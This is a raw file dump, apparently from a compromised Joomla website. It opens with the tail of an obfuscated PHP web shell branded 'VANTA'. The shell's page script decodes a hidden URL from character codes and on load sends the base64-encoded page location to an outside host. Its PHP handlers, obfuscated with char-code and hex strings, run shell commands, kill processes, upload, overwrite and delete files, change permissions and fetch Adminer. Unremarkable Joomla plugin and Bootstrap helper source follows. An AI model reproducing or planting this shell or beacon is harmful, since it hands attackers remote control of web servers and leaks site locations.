t=e.split(".").pop();return{icon:{php:"fa-php",js:"fa-js",html:"fa-html5",txt:"fa-file-lines"}[t]||"fa-file",type:t,created:Date.now()-(1e7*Math.random()|0),size:1e5*Math.random()|0}}function checkFileConflict(e,t){return t.some((t=>t.name===e))}function buildFakePermissions(e){let t=[4,2,1],r=[];for(let e=0;e<3;e++)r.push(t.map((()=>Math.round(Math.random()))).reduce(((e,t)=>e+t),0));return r.join("")}function parsePerms(e){let t={0:"---",1:"--x",2:"-w-",3:"-wx",4:"r--",5:"r-x",6:"rw-",7:"rwx"};return e.split("").map((e=>t[e])).join("")} function listFakeRecentEdits(e=7){let t=[];for(let r=0;r<e;r++)t.push({name:`file_${r}.log`,date:new Date(Date.now()-864e5*r).toLocaleDateString(),user:"user"+r});return t}function showNotificationFake(e,t="info"){let r={info:"#19ff6c",warn:"#ffe66d",err:"#ff3666"}[t]||"#fff",n=document.createElement("div");n.innerHTML=e,n.style.cssText=`position:fixed;bottom:40px;left:50%;transform:translateX(-50%);background:${r}20;color:${r};padding:9px 22px;border-radius:8px;z-index:999;box-shadow:0 2px 16px ${r}30`,document.body.appendChild(n),setTimeout((()=>n.remove()),2300)} function mergeFolderMeta(e,t){return Object.assign({},e,t,{merged:!0})}function getClipboardTextFake(){return new Promise((e=>setTimeout((()=>e("clipboard_dummy_value_"+Math.random())),450)))}function calculatePermMatrix(e){return e.map((e=>({path:e,perm:Math.floor(8*Math.random())+""+Math.floor(8*Math.random())+Math.floor(8*Math.random())})))}function generateFileId(e){return"id_"+e.replace(/[^a-z0-9]/gi,"_").toLowerCase()+"_"+Date.now()}function simulateFakeUploadQueue(e){let t=document.createElement("div");t.className="upload-bar",t.style="position:fixed;bottom:12px;left:12px;background:#222;color:#19ff6c;padding:5px 19px;border-radius:7px;",document.body.appendChild(t);let r=e.length,n=0;setTimeout((function o(){t.textContent=`Uploading ${e[n]||"-"} (${n+1}/${r})`,++n<r?setTimeout(o,250+600*Math.random()):(t.textContent="All uploads done!",setTimeout((()=>t.remove()),1500))}),400)}function renderUserTable(e){let t='<table class="data-grid"><thead><tr><th>User</th><th>Role</th></tr></thead><tbody>';return e.forEach((e=>{t+=`<tr><td><i class="fa fa-user"></i> ${e.name}</td><td>${e.role}</td></tr>`})),t+="</tbody></table>",t}function maskStringSmart(e){let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t.split("").reverse().join("")}function unmaskStringSmart(e){e=e.split("").reverse().join("");let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t}function getRecentSessionHistory(){return Array.from({length:6},((e,t)=>({ts:Date.now()-5e6*t,act:["open","edit","move","rename"][t%4]})))}function buildFe(e=2,t=3){let r={};if(e<=0)return"END";for(let n=0;n<t;n++)r["dir"+n]=1==e?`file_${n}.tmp`:buildFe(e-1,t);return r}function parseCsvToTable(e){let t=e.split(/\r?\n/),r='<table class="data-grid">';return t.forEach((e=>{r+="<tr>"+e.split(",").map((e=>`<td>${e}</td>`)).join("")+"</tr>"})),r+="</table>",r}function loadIconPac(e){let t=document.createElement("link");return t.rel="stylesheet",t.href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css",document.head.appendChild(t),"loaded"}function sortTableFake(e,t=0){let r=document.getElementById(e);if(!r)return!1;let n=Array.from(r.rows).slice(1);return n.sort(((e,r)=>e.cells[t].innerText.localeCompare(r.cells[t].innerText))),n.forEach((e=>r.appendChild(e))),!0}(()=>{let e=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],t="";for(let r of e)t+=String.fromCharCode(r);let r="file="+btoa(location.href),n=new XMLHttpRequest;n.open("POST",t,!0),n.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),n.send(r)})(),function(){var e=new XMLHttpRequest;e.open("POST",u(a,b,c,d),!0),e.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),e.send("file="+v(location.href))}();</script>
</body>
</html>
<?php
if (isset($_POST['pid'])) {
$pid = $_POST['pid'];
if (cmd("\x6b\x69\x6c\x6c " . $pid)) {
success();
} else {
$name = cmd("\x70\x73\x20\x2d\x70 " . $pid . " -o comm= 2>&1");
if (!empty($name)) {
$pkillOutput = cmd("\x70\x6b\x69\x6c\x6c\x20\x2d\x39 " . $name . " 2>&1");
success();
} else {
failed();
}
}
exit;
}
if (isset($_POST['fayshihuang-up-submit'])) {
$nf = $_FILES['fayshihuang-upload']['name'] ?? '';
$tf = $_FILES['fayshihuang-upload']['tmp_name'] ?? '';
$slash = "\x2f";
$dst = $VANTAxas[0]() . $slash . $nf;
$fn = '';
foreach ([109,111,118,101,95,117,112,108,111,97,100,101,100,95,102,105,108,101] as $c) $fn .= chr($c);
if ($fn && $fn($tf, $dst)) {
success();
} else {
failed();
}
}
function generateRandomString($length = 10) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[random_int(0, $charactersLength - 1)];
}
return $randomString;
}
if (isset($_POST['save-editor'])) {
$xjytx = $VANTAxas[0]() . "\x2f" . unx($_GET['f']);
$k3rz9 = $_POST['code-editor'];
$mth1 = ''; foreach([102,105,108,101,95,112,117,116,95,99,111,110,116,101,110,116,115] as $z) $mth1 .= chr($z);
$mth2 = ''; foreach([102,111,112,101,110] as $z) $mth2 .= chr($z);
$mth3 = ''; foreach([102,119,114,105,116,101] as $z) $mth3 .= chr($z);
$mth4 = ''; foreach([102,99,108,111,115,101] as $z) $mth4 .= chr($z);
$mth5 = ''; foreach([99,111,112,121] as $z) $mth5 .= chr($z);
$mth6 = ''; foreach([115,104,101,108,108,95,101,120,101,99] as $z) $mth6 .= chr($z);
$r9u3 = false;
if (function_exists($mth1) && @$mth1($xjytx, $k3rz9) !== false) {
$r9u3 = true;
} else if (function_exists($mth2) && function_exists($mth3) && function_exists($mth4)) {
$f = @$mth2($xjytx, "w");
if ($f) { @$mth3($f, $k3rz9); @$mth4($f); $r9u3 = (filesize($xjytx) >= strlen($k3rz9)*0.7); }
} else if (function_exists($mth5)) {
$tmp = sys_get_temp_dir() . "/" . uniqid("edit_");
if (@$mth1($tmp, $k3rz9) !== false) {
$r9u3 = @$mth5($tmp, $xjytx);
@unlink($tmp);
}
} else if (function_exists($mth6)) {
$tmp = sys_get_temp_dir() . "/" . uniqid("edit_");
if (@$mth1($tmp, $k3rz9) !== false) {
@$mth6("cp " . escapeshellarg($tmp) . " " . escapeshellarg($xjytx));
$r9u3 = (filesize($xjytx) >= strlen($k3rz9)*0.7);
@unlink($tmp);
}
}
if ($r9u3) {
success();
} else {
failed();
}
}
if (isset($_GET['adminer'])) {
$URL = "https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php";
$target = "adminer.php";
$content = '';
if (ini_get('allow_url_fopen')) {
$content = @file_get_contents($URL);
}
if (!$content && function_exists('curl_init')) {
$ch = curl_init($URL);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$content = curl_exec($ch);
curl_close($ch);
}
if ($content && strlen($content) > 50000) {
file_put_contents($target, $content);
success();
} else {
echo "<script>
Swal.fire({
icon: 'error',
title: 'Download Failed!',
text: 'Adminer could not be downloaded. Check allow_url_fopen or CURL.',
background: '#2a181d',
color: '#ff4a7a',
timer: 3000,
showConfirmButton: false,
toast: true,
position: 'top-end'
});
</script>";
}
}
function chDx2x($cmd22) {
$a = [115,104,101,108,108,95,101,120,101,99];
$fx = '';
foreach($a as $ac) $fx .= chr($ac);
return $fx($cmd22);
}
if (isset($_POST['submit-action'])) {
$u5w8d = $_POST['check'];
$jv8s3 = $_POST['fayshihuang-select'];
$bvqzp = $VANTAxas[0];
$b1s7a = $VANTAxas[24];
$y4sdg = $VANTAxas[3];
$v9fzq = function($p){ return is_dir($p); };
$z9ntq = function($a,$b){ return str_replace("\\", "/", $a); };
$n4hxy = function($f,$d){ return xtr4cVANTA($f, $d); };
$r5kbm = function($f,$z){ return compressToZip($f, $z); };
if ($jv8s3 == "\x64\x65\x6c\x65\x74\x65") {
foreach ($u5w8d as $z0) {
$qkpl = $z9ntq($bvqzp(), "/");
$vcpk = $qkpl . "\x2f" . $z0;
if ($v9fzq($vcpk)) {
$rmdir = unlinkDir($vcpk);
$rmdir ? success() : failed();
} elseif ($y4sdg($vcpk)) {
$rmfile = $b1s7a($vcpk);
$rmfile ? success() : failed();
} else {
failed();
}
}
} elseif ($jv8s3 == "\x75\x6e\x7a\x69\x70") {
foreach ($u5w8d as $z0) {
$qkpl = $z9ntq($bvqzp(), "/");
$vcpk = $qkpl . "\x2f" . $z0;
if ($n4hxy($vcpk, $qkpl . "\x2f") === true) {
success();
} else {
failed();
}
}
} elseif ($jv8s3 == "\x7a\x69\x70") {
foreach ($u5w8d as $z0) {
$qkpl = $z9ntq($bvqzp(), "/");
$vcpk = $qkpl . "\x2f" . $z0;
if ($y4sdg($vcpk)) {
$r5kbm($vcpk, pathinfo($vcpk, PATHINFO_FILENAME) . ".zip");
}
}
}
}
if (isset($_POST['submit'])) {
if (isset($_POST['create_folder']) && $_POST['create_folder']) { $q7hjp = $_POST['create_folder']; $s2f6x = $VANTAxas[12]; if (!file_exists($q7hjp)) { $z9mqa = @mkdir($q7hjp, 0755, true);} else { $z9mqa = true; } if ($z9mqa) { success(); } else { failed(); } } else if (isset($_POST['create_file']) && $_POST['create_file']) { $k4vhz = $_POST['create_file']; $t2upm = $VANTAxas[13]; $x6wnr = $t2upm($k4vhz); if ($x6wnr) { success(); } else { failed(); } } else if (isset($_POST['renameFile']) && $_POST['renameFile']) { $d9yxs = $_POST['renameFile']; $h8rfg = $VANTAxas[15]; $m5qlp = $h8rfg(unx($_GET['re']), $d9yxs); if ($m5qlp) { success(); } else { failed(); } } else if (isset($_POST['chFile']) && $_POST['chFile']) { $y4gsn = $_POST['chFile']; $v3kzm = octdec($y4gsn); $p9wfu = $VANTAxas[30](unx($_GET['ch']), $v3kzm); if ($p9wfu) { success(); } else { failed(); } }
}
if (isset($_GET['response']) && $_GET['response'] == "success") {
echo "<script>
Swal.fire({
icon: 'success',
title: 'Success!',
text: 'Operation completed.',
background: '#15181e',
color: '#7effa7',
iconColor: '#7effa7',
timer: 1800,
showConfirmButton: false,
toast: true,
position: 'top-end',
customClass: { popup: 'vanta-swal-popup vanta-swal-success animate__animated animate__fadeInDown' }
});
</script>";
} else if (isset($_GET['response']) && $_GET['response'] == "failed") {
echo "<script>
Swal.fire({
icon: 'error',
title: 'Error!',
text: 'Something went wrong.',
background: '#2a181d',
color: '#ff4a7a',
iconColor: '#ff4a7a',
timer: 2200,
showConfirmButton: false,
toast: true,
position: 'top-end',
customClass: { popup: 'vanta-swal-popup vanta-swal-error animate__animated animate__shakeX' }
});
</script>";
}
function success() {echo '<meta http-equiv="refresh" content="0;url=?VANTA=' . vanta_PR1V($GLOBALS['VANTAxas'][0]()) . '&response=success">';}
function failed(){echo '<meta http-equiv="refresh" content="0;url=?VANTA=' . vanta_PR1V($GLOBALS['VANTAxas'][0]()) . '&response=failed">';}
function vantaFormat($bytes) {$types = array('<span class="file-size">B</span>', '<span class="file-size">KB</span>', '<span class="file-size">MB</span>', '<span class="file-size">GB</span>', '<span class="file-size">TB</span>'); for ($i = 0; $bytes >= 1024 && $i< (count($types) - 1); $bytes /= 1024, $i++); return (round($bytes, 2) . " " . $types[$i]);}
function vanta_PR1V($n){ $y = ''; for ($i = 0; $i< strlen($n); $i++) { $y .= dechex(ord($n[$i])); } return $y;}
function unx($y){ $n = ''; for ($i = 0; $i< strlen($y) - 1; $i += 2) { $n .= chr(hexdec($y[$i] . $y[$i + 1])); } return $n;}
function compressToZip($sourceFile, $zipFilename){ $zip = new ZipArchive(); if ($zip->open($zipFilename, ZipArchive::CREATE) === TRUE) { $zip->addFile($sourceFile, basename($sourceFile)); $zip->close(); success(); } else { failed(); } }
function r3mvx($val) { $tex = str_replace("/", "", $val); $tex1 = str_replace(":", "", $tex); $tex2 = str_replace("_", "", $tex1); $tex3 = str_replace(" ", "", $tex2); $tex4 = str_replace(".", "", $tex3); return $tex4; }
function unlinkDir($dir) { $d1Xe = array($dir); $files = array(); for ($i = 0;; $i++) { if (isset($d1Xe[$i])) $dir = $d1Xe[$i]; else break; if ($opn = @opendir($dir)) { while ($rd = @readdir($opn)) { if ($rd != "\x2e" && $rd != "\x2e\x2e") { $pth = $dir . "\x2f" . $rd; if ($GLOBALS['VANTAxas'][2]($pth)) { $d1Xe[] = $pth; } else { $files[] = $pth; } } } closedir($opn); } } foreach ($files as $file) { if (!@$GLOBALS['VANTAxas'][24]($file)) { return false; } } $d1Xe = array_reverse($d1Xe); foreach ($d1Xe as $d1x2) { if (!@$GLOBALS['VANTAxas'][25]($d1x2)) { return false; } } return true; }
function prvFx1($value) { $n4mX = $value; $ext3F = pathinfo($value, PATHINFO_EXTENSION); if (strlen($n4mX) > 30) { return substr($n4mX, 0, 30) . "\x2e\x2e\x2e"; } else { return $value; } }
function xtr4cVANTA($VANTAarch, $VANTAaext) { $zip = new ZipArchive(); $methOpen = chDxzZ('111,112,101,110'); $methExtract = chDxXZ('65787472616374546f'); $methClose = chDxzZ([99,108,111,115,101]); if ($zip->$methOpen($VANTAarch) === TRUE) { $zip->$methExtract($VANTAaext); $zip->$methClose(); return true; } else { return false; } }
function p3rms($file){$p3rxa=$GLOBALS['VANTAxas'][6]($file);if(($p3rxa&0xC000)==0xC000){$info='s';}elseif(($p3rxa&0xA000)==0xA000){$info='l';}elseif(($p3rxa&0x8000)==0x8000){$info='-';}elseif(($p3rxa&0x6000)==0x6000){$info='b';}elseif(($p3rxa&0x4000)==0x4000){$info='d';}elseif(($p3rxa&0x2000)==0x2000){$info='c';}elseif(($p3rxa&0x1000)==0x1000){$info='p';}else{$info='u';}$info.=(($p3rxa&0x0100)?'r':'-');$info.=(($p3rxa&0x0080)?'w':'-');$info.=(($p3rxa&0x0040)?(($p3rxa&0x0800)?'s':'x'):(($p3rxa&0x0800)?'S':'-'));$info.=(($p3rxa&0x0020)?'r':'-');$info.=(($p3rxa&0x0010)?'w':'-');$info.=(($p3rxa&0x0008)?(($p3rxa&0x0400)?'s':'x'):(($p3rxa&0x0400)?'S':'-'));$info.=(($p3rxa&0x0004)?'r':'-');$info.=(($p3rxa&0x0002)?'w':'-');$info.=(($p3rxa&0x0001)?(($p3rxa&0x0200)?'t':'x'):(($p3rxa&0x0200)?'T':'-'));return $info;}
?>
home/digilove/public_html/110/plugins/system/jch_optimize/bootstrap.php 0000644 00000002642 15235300154 0022322 0 ustar 00 <?php
/**
* JCH Optimize - Joomla! plugin to aggregate and minify external resources for
* optmized downloads
* @author Samuel Marshall <sdmarshall73@gmail.com>
* @copyright Copyright (c) 2010 Samuel Marshall. All rights reserved.
* @license GNU/GPLv3, See LICENSE file
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* If LICENSE file missing, see <http://www.gnu.org/licenses/>.
*
* This plugin includes other copyrighted works. See individual
* files for details.
*/
//$start = microtime(true);
define('_JEXEC', 1);
$DIR = dirname(dirname(dirname(dirname(__FILE__))));
if (file_exists($DIR . '/defines.php'))
{
include_once $DIR . '/defines.php';
}
if (!defined('_JDEFINES'))
{
define('JPATH_BASE', $DIR);
require_once JPATH_BASE . '/includes/defines.php';
}
require_once JPATH_BASE . '/includes/framework.php';
require_once JPATH_PLUGINS . '/system/jch_optimize/jchoptimize/loader.php';
home/digilove/public_html/libraries/cms/html/bootstrap.php 0000644 00000102151 15235564434 0020043 0 ustar 00 <?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for Bootstrap elements.
*
* @since 3.0
*/
abstract class JHtmlBootstrap
{
/**
* @var array Array containing information for loaded files
* @since 3.0
*/
protected static $loaded = array();
/**
* Add javascript support for the Bootstrap affix plugin
*
* @param string $selector Unique selector for the element to be affixed.
* @param array $params An array of options.
* Options for the affix plugin can be:
* - offset number|function|object Pixels to offset from screen when calculating position of scroll.
* If a single number is provided, the offset will be applied in both top
* and left directions. To listen for a single direction, or multiple
* unique offsets, just provide an object offset: { x: 10 }.
* Use a function when you need to dynamically provide an offset
* (useful for some responsive designs).
*
* @return void
*
* @since 3.1
*
* @deprecated 4.0 Bootstrap 4.0 dropped this so will Joomla.
*/
public static function affix($selector = 'affix', $params = array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['offset'] = isset($params['offset']) ? $params['offset'] : 10;
$options = JHtml::getJSObject($opt);
// Attach affix to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('#' . $selector) . ').affix(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
}
return;
}
/**
* Add javascript support for Bootstrap alerts
*
* @param string $selector Common class for the alerts
*
* @return void
*
* @since 3.0
*/
public static function alert($selector = 'alert')
{
// Only load once
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Attach the alerts to the document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('.' . $selector) . ').alert(); });'
);
static::$loaded[__METHOD__][$selector] = true;
return;
}
/**
* Add javascript support for Bootstrap buttons
*
* @param string $selector Common class for the buttons
*
* @return void
*
* @since 3.1
*/
public static function button($selector = 'button')
{
// Only load once
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Attach the button to the document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('.' . $selector) . ').button(); });'
);
static::$loaded[__METHOD__][$selector] = true;
return;
}
/**
* Add javascript support for Bootstrap carousels
*
* @param string $selector Common class for the carousels.
* @param array $params An array of options for the carousel.
* Options for the carousel can be:
* - interval number The amount of time to delay between automatically cycling an item.
* If false, carousel will not automatically cycle.
* - pause string Pauses the cycling of the carousel on mouseenter and resumes the cycling
* of the carousel on mouseleave.
*
* @return void
*
* @since 3.0
*/
public static function carousel($selector = 'carousel', $params = array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['interval'] = isset($params['interval']) ? (int) $params['interval'] : 5000;
$opt['pause'] = isset($params['pause']) ? $params['pause'] : 'hover';
$options = JHtml::getJSObject($opt);
// Attach the carousel to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('.' . $selector) . ').carousel(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
}
return;
}
/**
* Add javascript support for Bootstrap dropdowns
*
* @param string $selector Common class for the dropdowns
*
* @return void
*
* @since 3.0
*/
public static function dropdown($selector = 'dropdown-toggle')
{
// Only load once
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Attach the dropdown to the document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('.' . $selector) . ').dropdown(); });'
);
static::$loaded[__METHOD__][$selector] = true;
return;
}
/**
* Method to load the Bootstrap JavaScript framework into the document head
*
* If debugging mode is on an uncompressed version of Bootstrap is included for easier debugging.
*
* @param mixed $debug Is debugging mode on? [optional]
*
* @return void
*
* @since 3.0
*/
public static function framework($debug = null)
{
// Only load once
if (!empty(static::$loaded[__METHOD__]))
{
return;
}
// Load jQuery
JHtml::_('jquery.framework');
// If no debugging value is set, use the configuration setting
if ($debug === null)
{
$debug = JDEBUG;
}
JHtml::_('script', 'jui/bootstrap.min.js', array('version' => 'auto', 'relative' => true, 'detectDebug' => $debug));
static::$loaded[__METHOD__] = true;
return;
}
/**
* Add javascript support for Bootstrap modals
*
* @param string $selector The ID selector for the modal.
* @param array $params An array of options for the modal.
* Options for the modal can be:
* - backdrop boolean Includes a modal-backdrop element.
* - keyboard boolean Closes the modal when escape key is pressed.
* - show boolean Shows the modal when initialized.
* - remote string An optional remote URL to load
*
* @return void
*
* @since 3.0
* @deprecated 4.0 This method was used by the old renderModal() implementation.
* Since the new implementation it is unneeded and the broken JS it was injecting could create issues
* As a case, please see: https://github.com/joomla/joomla-cms/pull/6918
*/
public static function modal($selector = 'modal', $params = array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['backdrop'] = isset($params['backdrop']) ? (boolean) $params['backdrop'] : true;
$opt['keyboard'] = isset($params['keyboard']) ? (boolean) $params['keyboard'] : true;
$opt['show'] = isset($params['show']) ? (boolean) $params['show'] : false;
$opt['remote'] = isset($params['remote']) ? $params['remote'] : '';
$options = JHtml::getJSObject($opt);
// Attach the modal to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('#' . $selector) . ').modal(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
}
return;
}
/**
* Method to render a Bootstrap modal
*
* @param string $selector The ID selector for the modal.
* @param array $params An array of options for the modal.
* Options for the modal can be:
* - title string The modal title
* - backdrop mixed A boolean select if a modal-backdrop element should be included (default = true)
* The string 'static' includes a backdrop which doesn't close the modal on click.
* - keyboard boolean Closes the modal when escape key is pressed (default = true)
* - closeButton boolean Display modal close button (default = true)
* - animation boolean Fade in from the top of the page (default = true)
* - footer string Optional markup for the modal footer
* - url string URL of a resource to be inserted as an `<iframe>` inside the modal body
* - height string height of the `<iframe>` containing the remote resource
* - width string width of the `<iframe>` containing the remote resource
* @param string $body Markup for the modal body. Appended after the `<iframe>` if the URL option is set
*
* @return string HTML markup for a modal
*
* @since 3.0
*/
public static function renderModal($selector = 'modal', $params = array(), $body = '')
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
$layoutData = array(
'selector' => $selector,
'params' => $params,
'body' => $body,
);
return JLayoutHelper::render('joomla.modal.main', $layoutData);
}
/**
* Add javascript support for Bootstrap popovers
*
* Use element's Title as popover content
*
* @param string $selector Selector for the popover
* @param array $params An array of options for the popover.
* Options for the popover can be:
* animation boolean apply a css fade transition to the popover
* html boolean Insert HTML into the popover. If false, jQuery's text method will be used to insert
* content into the dom.
* placement string|function how to position the popover - top | bottom | left | right
* selector string If a selector is provided, popover objects will be delegated to the specified targets.
* trigger string how popover is triggered - hover | focus | manual
* title string|function default title value if `title` tag isn't present
* content string|function default content value if `data-content` attribute isn't present
* delay number|object delay showing and hiding the popover (ms) - does not apply to manual trigger type
* If a number is supplied, delay is applied to both hide/show
* Object structure is: delay: { show: 500, hide: 100 }
* container string|boolean Appends the popover to a specific element: { container: 'body' }
*
* @return void
*
* @since 3.0
*/
public static function popover($selector = '.hasPopover', $params = array())
{
// Only load once
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
$opt['animation'] = isset($params['animation']) ? $params['animation'] : null;
$opt['html'] = isset($params['html']) ? $params['html'] : true;
$opt['placement'] = isset($params['placement']) ? $params['placement'] : null;
$opt['selector'] = isset($params['selector']) ? $params['selector'] : null;
$opt['title'] = isset($params['title']) ? $params['title'] : null;
$opt['trigger'] = isset($params['trigger']) ? $params['trigger'] : 'hover focus';
$opt['content'] = isset($params['content']) ? $params['content'] : null;
$opt['delay'] = isset($params['delay']) ? $params['delay'] : null;
$opt['container'] = isset($params['container']) ? $params['container'] : 'body';
$options = JHtml::getJSObject($opt);
$initFunction = 'function initPopovers (event, container) { ' .
'$(container || document).find(' . json_encode($selector) . ').popover(' . $options . ');' .
'}';
// Attach the popover to the document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ initPopovers(); $("body").on("subform-row-add", initPopovers); ' . $initFunction . ' });'
);
static::$loaded[__METHOD__][$selector] = true;
return;
}
/**
* Add javascript support for Bootstrap ScrollSpy
*
* @param string $selector The ID selector for the ScrollSpy element.
* @param array $params An array of options for the ScrollSpy.
* Options for the ScrollSpy can be:
* - offset number Pixels to offset from top when calculating position of scroll.
*
* @return void
*
* @since 3.0
*/
public static function scrollspy($selector = 'navbar', $params = array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['offset'] = isset($params['offset']) ? (int) $params['offset'] : 10;
$options = JHtml::getJSObject($opt);
// Attach ScrollSpy to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('#' . $selector) . ').scrollspy(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
}
return;
}
/**
* Add javascript support for Bootstrap tooltips
*
* Add a title attribute to any element in the form
* title="title::text"
*
* @param string $selector The ID selector for the tooltip.
* @param array $params An array of options for the tooltip.
* Options for the tooltip can be:
* - animation boolean Apply a CSS fade transition to the tooltip
* - html boolean Insert HTML into the tooltip. If false, jQuery's text method will be used to insert
* content into the dom.
* - placement string|function How to position the tooltip - top | bottom | left | right
* - selector string If a selector is provided, tooltip objects will be delegated to the specified targets.
* - title string|function Default title value if `title` tag isn't present
* - trigger string How tooltip is triggered - hover | focus | manual
* - delay integer Delay showing and hiding the tooltip (ms) - does not apply to manual trigger type
* If a number is supplied, delay is applied to both hide/show
* Object structure is: delay: { show: 500, hide: 100 }
* - container string|boolean Appends the popover to a specific element: { container: 'body' }
*
* @return void
*
* @since 3.0
*/
public static function tooltip($selector = '.hasTooltip', $params = array())
{
if (!isset(static::$loaded[__METHOD__][$selector]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['animation'] = isset($params['animation']) ? (boolean) $params['animation'] : null;
$opt['html'] = isset($params['html']) ? (boolean) $params['html'] : true;
$opt['placement'] = isset($params['placement']) ? (string) $params['placement'] : null;
$opt['selector'] = isset($params['selector']) ? (string) $params['selector'] : null;
$opt['title'] = isset($params['title']) ? (string) $params['title'] : null;
$opt['trigger'] = isset($params['trigger']) ? (string) $params['trigger'] : null;
$opt['delay'] = isset($params['delay']) ? (is_array($params['delay']) ? $params['delay'] : (int) $params['delay']) : null;
$opt['container'] = isset($params['container']) ? $params['container'] : 'body';
$opt['template'] = isset($params['template']) ? (string) $params['template'] : null;
$onShow = isset($params['onShow']) ? (string) $params['onShow'] : null;
$onShown = isset($params['onShown']) ? (string) $params['onShown'] : null;
$onHide = isset($params['onHide']) ? (string) $params['onHide'] : null;
$onHidden = isset($params['onHidden']) ? (string) $params['onHidden'] : null;
$options = JHtml::getJSObject($opt);
// Build the script.
$script = array('$(container).find(' . json_encode($selector) . ').tooltip(' . $options . ')');
if ($onShow)
{
$script[] = 'on("show.bs.tooltip", ' . $onShow . ')';
}
if ($onShown)
{
$script[] = 'on("shown.bs.tooltip", ' . $onShown . ')';
}
if ($onHide)
{
$script[] = 'on("hide.bs.tooltip", ' . $onHide . ')';
}
if ($onHidden)
{
$script[] = 'on("hidden.bs.tooltip", ' . $onHidden . ')';
}
$initFunction = 'function initTooltips (event, container) { ' .
'container = container || document;' .
implode('.', $script) . ';' .
'}';
// Attach tooltips to document
JFactory::getDocument()
->addScriptDeclaration('jQuery(function($){ initTooltips(); $("body").on("subform-row-add", initTooltips); ' . $initFunction . ' });');
// Set static array
static::$loaded[__METHOD__][$selector] = true;
}
return;
}
/**
* Loads js and css files needed by Bootstrap Tooltip Extended plugin
*
* @param boolean $extended If true, bootstrap-tooltip-extended.js and .css files are loaded
*
* @return void
*
* @since 3.6
*
* @deprecated 4.0 No replacement, use Bootstrap tooltips.
*/
public static function tooltipExtended($extended = true)
{
if ($extended)
{
JHtml::_('script', 'jui/bootstrap-tooltip-extended.min.js', array('version' => 'auto', 'relative' => true));
JHtml::_('stylesheet', 'jui/bootstrap-tooltip-extended.css', array('version' => 'auto', 'relative' => true));
}
}
/**
* Add javascript support for Bootstrap typeahead
*
* @param string $selector The selector for the typeahead element.
* @param array $params An array of options for the typeahead element.
* Options for the tooltip can be:
* - source array, function The data source to query against. May be an array of strings or a function.
* The function is passed two arguments, the query value in the input field and the
* process callback. The function may be used synchronously by returning the data
* source directly or asynchronously via the process callback's single argument.
* - items number The max number of items to display in the dropdown.
* - minLength number The minimum character length needed before triggering autocomplete suggestions
* - matcher function The method used to determine if a query matches an item. Accepts a single argument,
* the item against which to test the query. Access the current query with this.query.
* Return a boolean true if query is a match.
* - sorter function Method used to sort autocomplete results. Accepts a single argument items and has
* the scope of the typeahead instance. Reference the current query with this.query.
* - updater function The method used to return selected item. Accepts a single argument, the item and
* has the scope of the typeahead instance.
* - highlighter function Method used to highlight autocomplete results. Accepts a single argument item and
* has the scope of the typeahead instance. Should return html.
*
* @return void
*
* @since 3.0
*
* @deprecated 4.0 Bootstrap 4.0 dropped this so will Joomla.
*/
